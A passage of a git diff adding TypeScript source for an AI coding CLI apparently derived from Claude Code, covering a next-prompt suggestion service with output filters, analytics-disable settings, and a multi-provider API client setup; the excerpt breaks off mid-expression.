+  private async walkJsonlFiles(dir: string): Promise<string[]> {
+    const results: string[] = []
+
+    try {
+      const entries = await fs.readdir(dir, { withFileTypes: true })
+      for (const entry of entries) {
+        const fullPath = path.join(dir, entry.name)
+        if (entry.isDirectory()) {
+          const sub = await this.walkJsonlFiles(fullPath)
+          results.push(...sub)
+        } else if (entry.name.endsWith('.jsonl')) {
+          results.push(fullPath)
+        }
+      }
+    } catch {
+      // 跳过不可访问的目录
+    }
+
+    return results
+  }
+}
diff --git a/cc-haha/src/services/PromptSuggestion/promptSuggestion.ts b/cc-haha/src/services/PromptSuggestion/promptSuggestion.ts
new file mode 100644
index 0000000..dc68563
--- /dev/null
+++ b/cc-haha/src/services/PromptSuggestion/promptSuggestion.ts
@@ -0,0 +1,523 @@
+import { getIsNonInteractiveSession } from '../../bootstrap/state.js'
+import type { AppState } from '../../state/AppState.js'
+import type { Message } from '../../types/message.js'
+import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js'
+import { count } from '../../utils/array.js'
+import { isEnvDefinedFalsy, isEnvTruthy } from '../../utils/envUtils.js'
+import { toError } from '../../utils/errors.js'
+import {
+  type CacheSafeParams,
+  createCacheSafeParams,
+  runForkedAgent,
+} from '../../utils/forkedAgent.js'
+import type { REPLHookContext } from '../../utils/hooks/postSamplingHooks.js'
+import { logError } from '../../utils/log.js'
+import {
+  createUserMessage,
+  getLastAssistantMessage,
+} from '../../utils/messages.js'
+import { getInitialSettings } from '../../utils/settings/settings.js'
+import { isTeammate } from '../../utils/teammate.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../analytics/growthbook.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../analytics/index.js'
+import { currentLimits } from '../claudeAiLimits.js'
+import { isSpeculationEnabled, startSpeculation } from './speculation.js'
+
+let currentAbortController: AbortController | null = null
+
+export type PromptVariant = 'user_intent' | 'stated_intent'
+
+export function getPromptVariant(): PromptVariant {
+  return 'user_intent'
+}
+
+export function shouldEnablePromptSuggestion(): boolean {
+  // Env var overrides everything (for testing)
+  const envOverride = process.env.CLAUDE_CODE_ENABLE_PROMPT_SUGGESTION
+  if (isEnvDefinedFalsy(envOverride)) {
+    logEvent('tengu_prompt_suggestion_init', {
+      enabled: false,
+      source:
+        'env' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return false
+  }
+  if (isEnvTruthy(envOverride)) {
+    logEvent('tengu_prompt_suggestion_init', {
+      enabled: true,
+      source:
+        'env' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return true
+  }
+
+  // Keep default in sync with Config.tsx (settings toggle visibility)
+  if (!getFeatureValue_CACHED_MAY_BE_STALE('tengu_chomp_inflection', false)) {
+    logEvent('tengu_prompt_suggestion_init', {
+      enabled: false,
+      source:
+        'growthbook' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return false
+  }
+
+  // Disable in non-interactive mode (print mode, piped input, SDK)
+  if (getIsNonInteractiveSession()) {
+    logEvent('tengu_prompt_suggestion_init', {
+      enabled: false,
+      source:
+        'non_interactive' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return false
+  }
+
+  // Disable for swarm teammates (only leader should show suggestions)
+  if (isAgentSwarmsEnabled() && isTeammate()) {
+    logEvent('tengu_prompt_suggestion_init', {
+      enabled: false,
+      source:
+        'swarm_teammate' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return false
+  }
+
+  const enabled = getInitialSettings()?.promptSuggestionEnabled !== false
+  logEvent('tengu_prompt_suggestion_init', {
+    enabled,
+    source:
+      'setting' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  })
+  return enabled
+}
+
+export function abortPromptSuggestion(): void {
+  if (currentAbortController) {
+    currentAbortController.abort()
+    currentAbortController = null
+  }
+}
+
+/**
+ * Returns a suppression reason if suggestions should not be generated,
+ * or null if generation is allowed. Shared by main and pipelined paths.
+ */
+export function getSuggestionSuppressReason(appState: AppState): string | null {
+  if (!appState.promptSuggestionEnabled) return 'disabled'
+  if (appState.pendingWorkerRequest || appState.pendingSandboxRequest)
+    return 'pending_permission'
+  if (appState.elicitation.queue.length > 0) return 'elicitation_active'
+  if (appState.toolPermissionContext.mode === 'plan') return 'plan_mode'
+  if (
+    process.env.USER_TYPE === 'external' &&
+    currentLimits.status !== 'allowed'
+  )
+    return 'rate_limit'
+  return null
+}
+
+/**
+ * Shared guard + generation logic used by both CLI TUI and SDK push paths.
+ * Returns the suggestion with metadata, or null if suppressed/filtered.
+ */
+export async function tryGenerateSuggestion(
+  abortController: AbortController,
+  messages: Message[],
+  getAppState: () => AppState,
+  cacheSafeParams: CacheSafeParams,
+  source?: 'cli' | 'sdk',
+): Promise<{
+  suggestion: string
+  promptId: PromptVariant
+  generationRequestId: string | null
+} | null> {
+  if (abortController.signal.aborted) {
+    logSuggestionSuppressed('aborted', undefined, undefined, source)
+    return null
+  }
+
+  const assistantTurnCount = count(messages, m => m.type === 'assistant')
+  if (assistantTurnCount < 2) {
+    logSuggestionSuppressed('early_conversation', undefined, undefined, source)
+    return null
+  }
+
+  const lastAssistantMessage = getLastAssistantMessage(messages)
+  if (lastAssistantMessage?.isApiErrorMessage) {
+    logSuggestionSuppressed('last_response_error', undefined, undefined, source)
+    return null
+  }
+  const cacheReason = getParentCacheSuppressReason(lastAssistantMessage)
+  if (cacheReason) {
+    logSuggestionSuppressed(cacheReason, undefined, undefined, source)
+    return null
+  }
+
+  const appState = getAppState()
+  const suppressReason = getSuggestionSuppressReason(appState)
+  if (suppressReason) {
+    logSuggestionSuppressed(suppressReason, undefined, undefined, source)
+    return null
+  }
+
+  const promptId = getPromptVariant()
+  const { suggestion, generationRequestId } = await generateSuggestion(
+    abortController,
+    promptId,
+    cacheSafeParams,
+  )
+  if (abortController.signal.aborted) {
+    logSuggestionSuppressed('aborted', undefined, undefined, source)
+    return null
+  }
+  if (!suggestion) {
+    logSuggestionSuppressed('empty', undefined, promptId, source)
+    return null
+  }
+  if (shouldFilterSuggestion(suggestion, promptId, source)) return null
+
+  return { suggestion, promptId, generationRequestId }
+}
+
+export async function executePromptSuggestion(
+  context: REPLHookContext,
+): Promise<void> {
+  if (context.querySource !== 'repl_main_thread') return
+
+  currentAbortController = new AbortController()
+  const abortController = currentAbortController
+  const cacheSafeParams = createCacheSafeParams(context)
+
+  try {
+    const result = await tryGenerateSuggestion(
+      abortController,
+      context.messages,
+      context.toolUseContext.getAppState,
+      cacheSafeParams,
+      'cli',
+    )
+    if (!result) return
+
+    context.toolUseContext.setAppState(prev => ({
+      ...prev,
+      promptSuggestion: {
+        text: result.suggestion,
+        promptId: result.promptId,
+        shownAt: 0,
+        acceptedAt: 0,
+        generationRequestId: result.generationRequestId,
+      },
+    }))
+
+    if (isSpeculationEnabled() && result.suggestion) {
+      void startSpeculation(
+        result.suggestion,
+        context,
+        context.toolUseContext.setAppState,
+        false,
+        cacheSafeParams,
+      )
+    }
+  } catch (error) {
+    if (
+      error instanceof Error &&
+      (error.name === 'AbortError' || error.name === 'APIUserAbortError')
+    ) {
+      logSuggestionSuppressed('aborted', undefined, undefined, 'cli')
+      return
+    }
+    logError(toError(error))
+  } finally {
+    if (currentAbortController === abortController) {
+      currentAbortController = null
+    }
+  }
+}
+
+const MAX_PARENT_UNCACHED_TOKENS = 10_000
+
+export function getParentCacheSuppressReason(
+  lastAssistantMessage: ReturnType<typeof getLastAssistantMessage>,
+): string | null {
+  if (!lastAssistantMessage) return null
+
+  const usage = lastAssistantMessage.message.usage
+  const inputTokens = usage.input_tokens ?? 0
+  const cacheWriteTokens = usage.cache_creation_input_tokens ?? 0
+  // The fork re-processes the parent's output (never cached) plus its own prompt.
+  const outputTokens = usage.output_tokens ?? 0
+
+  return inputTokens + cacheWriteTokens + outputTokens >
+    MAX_PARENT_UNCACHED_TOKENS
+    ? 'cache_cold'
+    : null
+}
+
+const SUGGESTION_PROMPT = `[SUGGESTION MODE: Suggest what the user might naturally type next into Claude Code.]
+
+FIRST: Look at the user's recent messages and original request.
+
+Your job is to predict what THEY would type - not what you think they should do.
+
+THE TEST: Would they think "I was just about to type that"?
+
+EXAMPLES:
+User asked "fix the bug and run tests", bug is fixed → "run the tests"
+After code written → "try it out"
+Claude offers options → suggest the one the user would likely pick, based on conversation
+Claude asks to continue → "yes" or "go ahead"
+Task complete, obvious follow-up → "commit this" or "push it"
+After error or misunderstanding → silence (let them assess/correct)
+
+Be specific: "run the tests" beats "continue".
+
+NEVER SUGGEST:
+- Evaluative ("looks good", "thanks")
+- Questions ("what about...?")
+- Claude-voice ("Let me...", "I'll...", "Here's...")
+- New ideas they didn't ask about
+- Multiple sentences
+
+Stay silent if the next step isn't obvious from what the user said.
+
+Format: 2-12 words, match the user's style. Or nothing.
+
+Reply with ONLY the suggestion, no quotes or explanation.`
+
+const SUGGESTION_PROMPTS: Record<PromptVariant, string> = {
+  user_intent: SUGGESTION_PROMPT,
+  stated_intent: SUGGESTION_PROMPT,
+}
+
+export async function generateSuggestion(
+  abortController: AbortController,
+  promptId: PromptVariant,
+  cacheSafeParams: CacheSafeParams,
+): Promise<{ suggestion: string | null; generationRequestId: string | null }> {
+  const prompt = SUGGESTION_PROMPTS[promptId]
+
+  // Deny tools via callback, NOT by passing tools:[] - that busts cache (0% hit)
+  const canUseTool = async () => ({
+    behavior: 'deny' as const,
+    message: 'No tools needed for suggestion',
+    decisionReason: { type: 'other' as const, reason: 'suggestion only' },
+  })
+
+  // DO NOT override any API parameter that differs from the parent request.
+  // The fork piggybacks on the main thread's prompt cache by sending identical
+  // cache-key params. The billing cache key includes more than just
+  // system/tools/model/messages/thinking — empirically, setting effortValue
+  // or maxOutputTokens on the fork (even via output_config or getAppState)
+  // busts cache. PR #18143 tried effort:'low' and caused a 45x spike in cache
+  // writes (92.7% → 61% hit rate). The only safe overrides are:
+  //   - abortController (not sent to API)
+  //   - skipTranscript (client-side only)
+  //   - skipCacheWrite (controls cache_control markers, not the cache key)
+  //   - canUseTool (client-side permission check)
+  const result = await runForkedAgent({
+    promptMessages: [createUserMessage({ content: prompt })],
+    cacheSafeParams, // Don't override tools/thinking settings - busts cache
+    canUseTool,
+    querySource: 'prompt_suggestion',
+    forkLabel: 'prompt_suggestion',
+    overrides: {
+      abortController,
+    },
+    skipTranscript: true,
+    skipCacheWrite: true,
+  })
+
+  // Check ALL messages - model may loop (try tool → denied → text in next message)
+  // Also extract the requestId from the first assistant message for RL dataset joins
+  const firstAssistantMsg = result.messages.find(m => m.type === 'assistant')
+  const generationRequestId =
+    firstAssistantMsg?.type === 'assistant'
+      ? (firstAssistantMsg.requestId ?? null)
+      : null
+
+  for (const msg of result.messages) {
+    if (msg.type !== 'assistant') continue
+    const textBlock = msg.message.content.find(b => b.type === 'text')
+    if (textBlock?.type === 'text') {
+      const suggestion = textBlock.text.trim()
+      if (suggestion) {
+        return { suggestion, generationRequestId }
+      }
+    }
+  }
+
+  return { suggestion: null, generationRequestId }
+}
+
+export function shouldFilterSuggestion(
+  suggestion: string | null,
+  promptId: PromptVariant,
+  source?: 'cli' | 'sdk',
+): boolean {
+  if (!suggestion) {
+    logSuggestionSuppressed('empty', undefined, promptId, source)
+    return true
+  }
+
+  const lower = suggestion.toLowerCase()
+  const wordCount = suggestion.trim().split(/\s+/).length
+
+  const filters: Array<[string, () => boolean]> = [
+    ['done', () => lower === 'done'],
+    [
+      'meta_text',
+      () =>
+        lower === 'nothing found' ||
+        lower === 'nothing found.' ||
+        lower.startsWith('nothing to suggest') ||
+        lower.startsWith('no suggestion') ||
+        // Model spells out the prompt's "stay silent" instruction
+        /\bsilence is\b|\bstay(s|ing)? silent\b/.test(lower) ||
+        // Model outputs bare "silence" wrapped in punctuation/whitespace
+        /^\W*silence\W*$/.test(lower),
+    ],
+    [
+      'meta_wrapped',
+      // Model wraps meta-reasoning in parens/brackets: (silence — ...), [no suggestion]
+      () => /^\(.*\)$|^\[.*\]$/.test(suggestion),
+    ],
+    [
+      'error_message',
+      () =>
+        lower.startsWith('api error:') ||
+        lower.startsWith('prompt is too long') ||
+        lower.startsWith('request timed out') ||
+        lower.startsWith('invalid api key') ||
+        lower.startsWith('image was too large'),
+    ],
+    ['prefixed_label', () => /^\w+:\s/.test(suggestion)],
+    [
+      'too_few_words',
+      () => {
+        if (wordCount >= 2) return false
+        // Allow slash commands — these are valid user commands
+        if (suggestion.startsWith('/')) return false
+        // Allow common single-word inputs that are valid user commands
+        const ALLOWED_SINGLE_WORDS = new Set([
+          // Affirmatives
+          'yes',
+          'yeah',
+          'yep',
+          'yea',
+          'yup',
+          'sure',
+          'ok',
+          'okay',
+          // Actions
+          'push',
+          'commit',
+          'deploy',
+          'stop',
+          'continue',
+          'check',
+          'exit',
+          'quit',
+          // Negation
+          'no',
+        ])
+        return !ALLOWED_SINGLE_WORDS.has(lower)
+      },
+    ],
+    ['too_many_words', () => wordCount > 12],
+    ['too_long', () => suggestion.length >= 100],
+    ['multiple_sentences', () => /[.!?]\s+[A-Z]/.test(suggestion)],
+    ['has_formatting', () => /[\n*]|\*\*/.test(suggestion)],
+    [
+      'evaluative',
+      () =>
+        /thanks|thank you|looks good|sounds good|that works|that worked|that's all|nice|great|perfect|makes sense|awesome|excellent/.test(
+          lower,
+        ),
+    ],
+    [
+      'claude_voice',
+      () =>
+        /^(let me|i'll|i've|i'm|i can|i would|i think|i notice|here's|here is|here are|that's|this is|this will|you can|you should|you could|sure,|of course|certainly)/i.test(
+          suggestion,
+        ),
+    ],
+  ]
+
+  for (const [reason, check] of filters) {
+    if (check()) {
+      logSuggestionSuppressed(reason, suggestion, promptId, source)
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Log acceptance/ignoring of a prompt suggestion. Used by the SDK push path
+ * to track outcomes when the next user message arrives.
+ */
+export function logSuggestionOutcome(
+  suggestion: string,
+  userInput: string,
+  emittedAt: number,
+  promptId: PromptVariant,
+  generationRequestId: string | null,
+): void {
+  const similarity =
+    Math.round((userInput.length / (suggestion.length || 1)) * 100) / 100
+  const wasAccepted = userInput === suggestion
+  const timeMs = Math.max(0, Date.now() - emittedAt)
+
+  logEvent('tengu_prompt_suggestion', {
+    source: 'sdk' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    outcome: (wasAccepted
+      ? 'accepted'
+      : 'ignored') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    prompt_id:
+      promptId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    ...(generationRequestId && {
+      generationRequestId:
+        generationRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...(wasAccepted && {
+      timeToAcceptMs: timeMs,
+    }),
+    ...(!wasAccepted && { timeToIgnoreMs: timeMs }),
+    similarity,
+    ...(process.env.USER_TYPE === 'ant' && {
+      suggestion:
+        suggestion as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      userInput:
+        userInput as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+  })
+}
+
+export function logSuggestionSuppressed(
+  reason: string,
+  suggestion?: string,
+  promptId?: PromptVariant,
+  source?: 'cli' | 'sdk',
+): void {
+  const resolvedPromptId = promptId ?? getPromptVariant()
+  logEvent('tengu_prompt_suggestion', {
+    ...(source && {
+      source:
+        source as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    outcome:
+      'suppressed' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    reason:
+      reason as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    prompt_id:
+      resolvedPromptId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    ...(process.env.USER_TYPE === 'ant' &&
+      suggestion && {
+        suggestion:
+          suggestion as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+  })
+}
diff --git a/cc-haha/src/services/analytics/config.ts b/cc-haha/src/services/analytics/config.ts
new file mode 100644
index 0000000..9e80601
--- /dev/null
+++ b/cc-haha/src/services/analytics/config.ts
@@ -0,0 +1,38 @@
+/**
+ * Shared analytics configuration
+ *
+ * Common logic for determining when analytics should be disabled
+ * across all analytics systems (Datadog, 1P)
+ */
+
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { isTelemetryDisabled } from '../../utils/privacyLevel.js'
+
+/**
+ * Check if analytics operations should be disabled
+ *
+ * Analytics is disabled in the following cases:
+ * - Test environment (NODE_ENV === 'test')
+ * - Third-party cloud providers (Bedrock/Vertex)
+ * - Privacy level is no-telemetry or essential-traffic
+ */
+export function isAnalyticsDisabled(): boolean {
+  return (
+    process.env.NODE_ENV === 'test' ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY) ||
+    isTelemetryDisabled()
+  )
+}
+
+/**
+ * Check if the feedback survey should be suppressed.
+ *
+ * Unlike isAnalyticsDisabled(), this does NOT block on 3P providers
+ * (Bedrock/Vertex/Foundry). The survey is a local UI prompt with no
+ * transcript data — enterprise customers capture responses via OTEL.
+ */
+export function isFeedbackSurveyDisabled(): boolean {
+  return process.env.NODE_ENV === 'test' || isTelemetryDisabled()
+}
diff --git a/cc-haha/src/services/api/client.ts b/cc-haha/src/services/api/client.ts
new file mode 100644
index 0000000..8c1feb6
--- /dev/null
+++ b/cc-haha/src/services/api/client.ts
@@ -0,0 +1,389 @@
+import Anthropic, { type ClientOptions } from '@anthropic-ai/sdk'
+import { randomUUID } from 'crypto'
+import type { GoogleAuth } from 'google-auth-library'
+import {
+  checkAndRefreshOAuthTokenIfNeeded,
+  getAnthropicApiKey,
+  getApiKeyFromApiKeyHelper,
+  getClaudeAIOAuthTokens,
+  isClaudeAISubscriber,
+  refreshAndGetAwsCredentials,
+  refreshGcpCredentialsIfNeeded,
+} from 'src/utils/auth.js'
+import { getUserAgent } from 'src/utils/http.js'
+import { getSmallFastModel } from 'src/utils/model/model.js'
+import {
+  getAPIProvider,
+  isFirstPartyAnthropicBaseUrl,
+} from 'src/utils/model/providers.js'
+import { getProxyFetchOptions } from 'src/utils/proxy.js'
+import {
+  getIsNonInteractiveSession,
+  getSessionId,
+} from '../../bootstrap/state.js'
+import { getOauthConfig } from '../../constants/oauth.js'
+import { isDebugToStdErr, logForDebugging } from '../../utils/debug.js'
+import {
+  getAWSRegion,
+  getVertexRegionForModel,
+  isEnvTruthy,
+} from '../../utils/envUtils.js'
+
+/**
+ * Environment variables for different client types:
+ *
+ * Direct API:
+ * - ANTHROPIC_API_KEY: Required for direct API access
+ *
+ * AWS Bedrock:
+ * - AWS credentials configured via aws-sdk defaults
+ * - AWS_REGION or AWS_DEFAULT_REGION: Sets the AWS region for all models (default: us-east-1)
+ * - ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION: Optional. Override AWS region specifically for the small fast model (Haiku)
+ *
+ * Foundry (Azure):
+ * - ANTHROPIC_FOUNDRY_RESOURCE: Your Azure resource name (e.g., 'my-resource')
+ *   For the full endpoint: https://{resource}.services.ai.azure.com/anthropic/v1/messages
+ * - ANTHROPIC_FOUNDRY_BASE_URL: Optional. Alternative to resource - provide full base URL directly
+ *   (e.g., 'https://my-resource.services.ai.azure.com')
+ *
+ * Authentication (one of the following):
+ * - ANTHROPIC_FOUNDRY_API_KEY: Your Microsoft Foundry API key (if using API key auth)
+ * - Azure AD authentication: If no API key is provided, uses DefaultAzureCredential
+ *   which supports multiple auth methods (environment variables, managed identity,
+ *   Azure CLI, etc.). See: https://docs.microsoft.com/en-us/javascript/api/@azure/identity
+ *
+ * Vertex AI:
+ * - Model-specific region variables (highest priority):
+ *   - VERTEX_REGION_CLAUDE_3_5_HAIKU: Region for Claude 3.5 Haiku model
+ *   - VERTEX_REGION_CLAUDE_HAIKU_4_5: Region for Claude Haiku 4.5 model
+ *   - VERTEX_REGION_CLAUDE_3_5_SONNET: Region for Claude 3.5 Sonnet model
+ *   - VERTEX_REGION_CLAUDE_3_7_SONNET: Region for Claude 3.7 Sonnet model
+ * - CLOUD_ML_REGION: Optional. The default GCP region to use for all models
+ *   If specific model region not specified above
+ * - ANTHROPIC_VERTEX_PROJECT_ID: Required. Your GCP project ID
+ * - Standard GCP credentials configured via google-auth-library
+ *
+ * Priority for determining region:
+ * 1. Hardcoded model-specific environment variables
+ * 2. Global CLOUD_ML_REGION variable
+ * 3. Default region from config
+ * 4. Fallback region (us-east5)
+ */
+
+function createStderrLogger(): ClientOptions['logger'] {
+  return {
+    error: (msg, ...args) =>
+      // biome-ignore lint/suspicious/noConsole:: intentional console output -- SDK logger must use console
+      console.error('[Anthropic SDK ERROR]', msg, ...args),
+    // biome-ignore lint/suspicious/noConsole:: intentional console output -- SDK logger must use console
+    warn: (msg, ...args) => console.error('[Anthropic SDK WARN]', msg, ...args),
+    // biome-ignore lint/suspicious/noConsole:: intentional console output -- SDK logger must use console
+    info: (msg, ...args) => console.error('[Anthropic SDK INFO]', msg, ...args),
+    debug: (msg, ...args) =>
+      // biome-ignore lint/suspicious/noConsole:: intentional console output -- SDK logger must use console
+      console.error('[Anthropic SDK DEBUG]', msg, ...args),
+  }
+}
+
+export async function getAnthropicClient({
+  apiKey,
+  maxRetries,
+  model,
+  fetchOverride,
+  source,
+}: {
+  apiKey?: string
+  maxRetries: number
+  model?: string
+  fetchOverride?: ClientOptions['fetch']
+  source?: string
+}): Promise<Anthropic> {
+  const containerId = process.env.CLAUDE_CODE_CONTAINER_ID
+  const remoteSessionId = process.env.CLAUDE_CODE_REMOTE_SESSION_ID
+  const clientApp = process.env.CLAUDE_AGENT_SDK_CLIENT_APP
+  const customHeaders = getCustomHeaders()
+  const defaultHeaders: { [key: string]: string } = {
+    'x-app': 'cli',
+    'User-Agent': getUserAgent(),
+    'X-Claude-Code-Session-Id': getSessionId(),
+    ...customHeaders,
+    ...(containerId ? { 'x-claude-remote-container-id': containerId } : {}),
+    ...(remoteSessionId
+      ? { 'x-claude-remote-session-id': remoteSessionId }
+      : {}),
+    // SDK consumers can identify their app/library for backend analytics
+    ...(clientApp ? { 'x-client-app': clientApp } : {}),
+  }
+
+  // Log API client configuration for HFI debugging
+  logForDebugging(
+    `[API:request] Creating client, ANTHROPIC_CUSTOM_HEADERS present: ${!!process.env.ANTHROPIC_CUSTOM_HEADERS}, has Authorization header: ${!!customHeaders['Authorization']}`,
+  )
+
+  // Add additional protection header if enabled via env var
+  const additionalProtectionEnabled = isEnvTruthy(
+    process.env.CLAUDE_CODE_ADDITIONAL_PROTECTION,
+  )
+  if (additionalProtectionEnabled) {
+    defaultHeaders['x-anthropic-additional-protection'] = 'true'
+  }
+
+  logForDebugging('[API:auth] OAuth token check starting')
+  await checkAndRefreshOAuthTokenIfNeeded()
+  logForDebugging('[API:auth] OAuth token check complete')
+
+  if (!isClaudeAISubscriber()) {
+    await configureApiKeyHeaders(defaultHeaders, getIsNonInteractiveSession())
+  }
+
+  const resolvedFetch = buildFetch(fetchOverride, source)
+
+  const ARGS = {
+    defaultHeaders,
+    maxRetries,
+    timeout: parseInt(process.env.API_TIMEOUT_MS || String(600 * 1000), 10),
+    dangerouslyAllowBrowser: true,
+    fetchOptions: getProxyFetchOptions({
+      forAnthropicAPI: true,
+    }) as ClientOptions['fetchOptions'],
+    ...(resolvedFetch && {
+      fetch: resolvedFetch,
+    }),
+  }
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK)) {
+    const { AnthropicBedrock } = await import('@anthropic-ai/bedrock-sdk')
+    // Use region override for small fast model if specified
+    const awsRegion =
+      model === getSmallFastModel() &&
+      process.env.ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION
+        ? process.env.ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION
+        : getAWSRegion()
+
+    const bedrockArgs: ConstructorParameters<typeof AnthropicBedrock>[0] = {
+      ...ARGS,
+      awsRegion,
+      ...(isEnvTruthy(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH) && {
+        skipAuth: true,
+      }),
+      ...(isDebugToStdErr() && { logger: createStderrLogger() }),
+    }
+
+    // Add API key authentication if available
+    if (process.env.AWS_BEARER_TOKEN_BEDROCK) {
+      bedrockArgs.skipAuth = true
+      // Add the Bearer token for Bedrock API key authentication
+      bedrockArgs.defaultHeaders = {
+        ...bedrockArgs.defaultHeaders,
+        Authorization: `Bearer ${process.env.AWS_BEARER_TOKEN_BEDROCK}`,
+      }
+    } else if (!isEnvTruthy(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH)) {
+      // Refresh auth and get credentials with cache clearing
+      const cachedCredentials = await refreshAndGetAwsCredentials()
+      if (cachedCredentials) {
+        bedrockArgs.awsAccessKey = cachedCredentials.accessKeyId
+        bedrockArgs.awsSecretKey = cachedCredentials.secretAccessKey
+        bedrockArgs.awsSessionToken = cachedCredentials.sessionToken
+      }
+    }
+    // we have always been lying about the return type - this doesn't support batching or models
+    return new AnthropicBedrock(bedrockArgs) as unknown as Anthropic
+  }
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY)) {
+    const { AnthropicFoundry } = await import('@anthropic-ai/foundry-sdk')
+    // Determine Azure AD token provider based on configuration
+    // SDK reads ANTHROPIC_FOUNDRY_API_KEY by default
+    let azureADTokenProvider: (() => Promise<string>) | undefined
+    if (!process.env.ANTHROPIC_FOUNDRY_API_KEY) {
+      if (isEnvTruthy(process.env.CLAUDE_CODE_SKIP_FOUNDRY_AUTH)) {
+        // Mock token provider for testing/proxy scenarios (similar to Vertex mock GoogleAuth)
+        azureADTokenProvider = () => Promise.resolve('')
+      } else {
+        // Use real Azure AD authentication with DefaultAzureCredential
+        const {
+          DefaultAzureCredential: AzureCredential,
+          getBearerTokenProvider,
+        } = await import('@azure/identity')
+        azureADTokenProvider = getBearerTokenProvider(
+          new AzureCredential(),
+          'https://cognitiveservices.azure.com/.default',
+        )
+      }
+    }
+
+    const foundryArgs: ConstructorParameters<typeof AnthropicFoundry>[0] = {
+      ...ARGS,
+      ...(azureADTokenProvider && { azureADTokenProvider }),
+      ...(isDebugToStdErr() && { logger: createStderrLogger() }),
+    }
+    // we have always been lying about the return type - this doesn't support batching or models
+    return new AnthropicFoundry(foundryArgs) as unknown as Anthropic
+  }
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX)) {
+    // Refresh GCP credentials if gcpAuthRefresh is configured and credentials are expired
+    // This is similar to how we handle AWS credential refresh for Bedrock
+    if (!isEnvTruthy(process.env.CLAUDE_CODE_SKIP_VERTEX_AUTH)) {
+      await refreshGcpCredentialsIfNeeded()
+    }
+
+    const [{ AnthropicVertex }, { GoogleAuth }] = await Promise.all([
+      import('@anthropic-ai/vertex-sdk'),
+      import('google-auth-library'),
+    ])
+    // TODO: Cache either GoogleAuth instance or AuthClient to improve performance
+    // Currently we create a new GoogleAuth instance for every getAnthropicClient() call
+    // This could cause repeated authentication flows and metadata server checks
+    // However, caching needs careful handling of:
+    // - Credential refresh/expiration
+    // - Environment variable changes (GOOGLE_APPLICATION_CREDENTIALS, project vars)
+    // - Cross-request auth state management
+    // See: https://github.com/googleapis/google-auth-library-nodejs/issues/390 for caching challenges
+
+    // Prevent metadata server timeout by providing projectId as fallback
+    // google-auth-library checks project ID in this order:
+    // 1. Environment variables (GCLOUD_PROJECT, GOOGLE_CLOUD_PROJECT, etc.)
+    // 2. Credential files (service account JSON, ADC file)
+    // 3. gcloud config
+    // 4. GCE metadata server (causes 12s timeout outside GCP)
+    //
+    // We only set projectId if user hasn't configured other discovery methods
+    // to avoid interfering with their existing auth setup
+
+    // Check project environment variables in same order as google-auth-library
+    // See: https://github.com/googleapis/google-auth-library-nodejs/blob/main/src/auth/googleauth.ts
+    const hasProjectEnvVar =
+      process.env['GCLOUD_PROJECT'] ||
+      process.env['GOOGLE_CLOUD_PROJECT'] ||
+      process.env['gcloud_project'] ||
+      process.env['google_cloud_project']
+
+    // Check for credential file paths (service account or ADC)
+    // Note: We're checking both standard and lowercase variants to be safe,
+    // though we should verify what google-auth-library actually checks
+    const hasKeyFile =
+      process.env['GOOGLE_APPLICATION_CREDENTIALS'] ||
+      process.env['google_application_credentials']
+
+    const googleAuth = isEnvTruthy(process.env.CLAUDE_CODE_SKIP_VERTEX_AUTH)
+      ? ({
+          // Mock GoogleAuth for testing/proxy scenarios
+          getClient: () => ({
+            getRequestHeaders: () => ({}),
+          }),
+        } as unknown as GoogleAuth)
+      : new GoogleAuth({
+          scopes: ['https://www.googleapis.com/auth/cloud-platform'],
+          // Only use ANTHROPIC_VERTEX_PROJECT_ID as last resort fallback
+          // This prevents the 12-second metadata server timeout when:
+          // - No project env vars are set AND
+          // - No credential keyfile is specified AND
+          // - ADC file exists but lacks project_id field
+          //
+          // Risk: If auth project != API target project, this could cause billing/audit issues
+          // Mitigation: Users can set GOOGLE_CLOUD_PROJECT to override
+          ...(hasProjectEnvVar || hasKeyFile
+            ? {}
+            : {
